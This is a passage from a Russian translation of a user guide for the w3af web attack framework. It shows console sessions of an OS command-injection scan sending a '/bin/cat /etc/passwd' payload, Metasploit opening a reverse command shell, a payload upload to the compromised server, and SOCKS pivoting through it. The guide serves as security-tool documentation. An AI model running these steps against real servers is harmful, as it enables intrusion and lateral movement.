
80/TCP

53/TCP

1433/TCP

8080/TCP

53/UDP

69/UDP

139/UDP

1025/UDP

The following ports are not bound to a local process and can be used by w3af:

25/TCP

53/TCP

1433/TCP

8080/TCP

Selecting port «8080/TCP» for inbound connections from the compromised server to w3af.

И если мы теперь посмотрим на веб-интерфейс MSF то увидим там что ни будь интересное типа :

[*] Started reverse handler

[*] The remote IP address is: 172.16.1.128

[*] Using remote IP address to create payloads.

[*] Sent payload to vdaemon.

[*] The estimated time to wait for the extrusion scan to

complete is: 1 seconds.

[*] Done waiting!

[*] The estimated time to wait for PE/ELF transfer is: 8

seconds.

[*] Waiting…

[*] Done waiting!

[*] Going to wait for 27 seconds (waiting for crontab/at to

execute payload).

[*] The session could start before the handler, so please *be

patient*.

[*] Command shell session 1 opened (172.16.1.1:4444 >

172.16.1.128:1047)

[*] Done waiting!

[*] Starting handler

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 19852000

Microsoft Corp.

C:\WINNT\system32>

Теперь пользователь имеет интерактивный шелл с привилегиями веб-сервера без всяческих ограничений. На этом этапе можно закрыть w3af и продолжить работу только с MSF.

w3afAgent

Как уже было сказано, w3afAgent позволяет создать SOCKS-прокси (в оригинальном тексте он именуется как «туннель для проведения TCP-соединений через атакованный сервер», но ниже пишется прямо — SOCKS-proxy – п.п.). В отличие от виртуального демона w3afAgent не требует установки стороннего софта. Перед тем как рассмотреть пример использования этой технологии, мы теоретический алгоритм работы с ним.

  1. w3af находит уязвимость удалённого выполнения команд
  2. Пользователь запускает w3afAgent
  3. w3af посылает небольшой исполняемый файл на удалённый сервер. После выполнения он соединяется с w3af и позволяет фреймворку проверить правила файрвола для исходящих соединений.
  4. w3afAgent Manager загружает w3afAgentClient на удалённый сервер. Процесс загрузки файла на удалённый сервер зависит от типа удалённой ОС, привилегий под которыми запущен w3af и типа локальной ОС. Затем происходит следующее
  • w3af берёт информацию из первого сканирования, которое про ходило в шаге 3 для того чтобы узнать какой порт можно использовать для соединения с атакованным сервером.
  • Если TCP-порт найден, w3af попытается запустить сервер на нём и сделать обратное соединение для скачивания PE/ELF файла. Если ни один ТСР-порт недоступен, w3af загружает PE/ELF-файл на удалённый сервер с помощью команды «echo». Этот способ самый медленный, но всегда срабатывает.
  1. w3afAgent Manager запускает w3afAgentServer на локальном хосте, порт 1080. И на интерфейсе указанном в misc-settings->interface, на порту который был найден в 3 шаге.
  2. The w3afAgentClient осуществляет обратное соединение к w3afAgentServer и создаёт туннель
  3. Пользователь настраивает нужные программы на работу с SOCKS-прокси по адресу localhost:1080
  4. Когда программы будут соединятся с прокси-сервером весь трафик будет идти через атакованный сервер.

Вот пример практической реализации:

$ ./w3af_console

w3af>>> plugins

w3af/plugins>>> audit osCommanding

w3af/plugins>>> audit

Enabled audit plugins:

osCommanding

w3af/plugins>>> back

w3af>>> target

w3af/target>>> set target http://172.10.10.1/w3af/v.php?c=list

w3af/target>>> back

w3af>>> start

The list of found URLs is:

http://172.10.10.1/w3af/v.php

Found 1 URLs and 1 different points of injection.

The list of Fuzzable requests is:

http://172.10.10.1/w3af/v.php | Method: GET | Parameters: (c)

Starting osCommanding plugin execution.

OS Commanding was found at: http://172.10.10.1/w3af/v.php .

Using method: GET. The data sent was: c=%2Fbin%2Fcat+%2Fetc

%2Fpasswd The vulnerability was found in the request with id 2.

w3af>>> exploit

w3af/exploit>>> exploit osCommandingShell

osCommanding exploit plugin is starting.

The vulnerability was found using method GET, tried to change

the method to POST for exploiting but failed.

Vulnerability successfully exploited.

Execute «exitPlugin» to get out of the remote shell. Commands

typed in this menu will be runned on the remote web server.

Ничего нового. Мы настроили фреймворк, запустили сканирование и нашли уязвимость.

w3af/exploit/osCommandingShell>>> start w3afAgent

Initializing w3afAgent system, please wait.

Please wait some seconds while w3af performs an extrusion scan.

The extrusion scan failed.

Error: The user running w3af can’t sniff on the specified

interface. Hints: Are you root? Does this interface exist?

Using inbound port «5060» without knowing if the remote host

will be able to connect back.

Последнее сообщение показано потому что w3af запущен под правами обычного пользователя и сканирование не может быть произведено. Отчёт об удачном сканировании выглядит примерно так:

Please wait some seconds while w3af performs an extrusion scan.

ExtrusionServer listening on interface: eth1

Finished extrusion scan.

The remote host: «172.10.10.1» can connect to w3af with these

ports:

25/TCP

80/TCP

53/TCP

1433/TCP

8080/TCP

53/UDP

69/UDP

139/UDP

1025/UDP

The following ports are not bound to a local process and can be

used by w3af:

25/TCP

53/TCP

1433/TCP

8080/TCP

Selecting port «8080/TCP» for inbound connections from the

compromised server to w3af.

Дальше, в обоих случаях (при запуске с правами обычного пользователя и супер- пользователя), Вы должны увидеть описание следующих шагов:

Starting w3afAgentClient upload.

Finished w3afAgentClient upload.

Please wait 30 seconds for w3afAgentClient execution.

w3afAgent service is up and running.

You may start using the w3afAgent that is listening on port

  1. All connections made through this SOCKS daemon will be

relayed using the compromised server.

И теперь из другой консоли мы можем использовать socksClient для проведения соединений через атакованный сервер:

$ nc 172.10.10.1 22

(UNKNOWN) [172.10.10.1] 22 (ssh) : Connection refused

$ python socksClient.py 127.0.0.1 22

SSH2.0OpenSSH_

4.3p2 Debian8ubuntu1

Protocol mismatch.

$ cat socksClient.py

import extlib.socksipy.socks as socks

import sys

s = socks.socksocket()

s.setproxy(socks.PROXY_TYPE_SOCKS4,»localhost»)

s.connect((sys.argv[1],int(sys.argv[2])))

s.send(‘\n’)

print s.recv(1024)

Дополнительная информация

Дополнительная информация о фреймворке типа HOWTO, продвинутое использование, ошибки, TODO-list и новости, могут быть найдены на домашней странице проекта:

http://w3af.sf.net/

Проект w3af имеет 2 листа рассылок — один для пользователей, второй для разработчиков. Если у Вас есть какие-то вопросы или комментарии по фреймворку то обращайтесь в эти рассылки: http://sourceforge.net/mail/?group_id=170274

Ошибки и недоработки

Фреймворк находится в стадии развития и имеет множество ошибок и недоработок. Если Вы скачали последнюю его версию и нашли в ней какую-то ошибку, то сообщите пожалуйста нам с описанием всех деталей. Для этого обратитесь сюда: http://sourceforge.net/tracker/?group_id=170274&atid=853652

Помошники

Мною всегда приветствуется помощь сторонних разработчиков. В ближайшее время будет написано руководство разработчиков по написанию плагинов. Для того чтобы узнать список ошибок и TODO-лист смотрите пожалуйста следующую ссылку:

http://sourceforge.net/pm/?group_id=170274

Последнее слово

Этот документ лишь простое введение во фреймворк. Полные знания по нему могут быть получены только при непосредственной работе с ним. Делайте ошибки, учитесь на них и с каждым шагом становитесь всё умнее.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *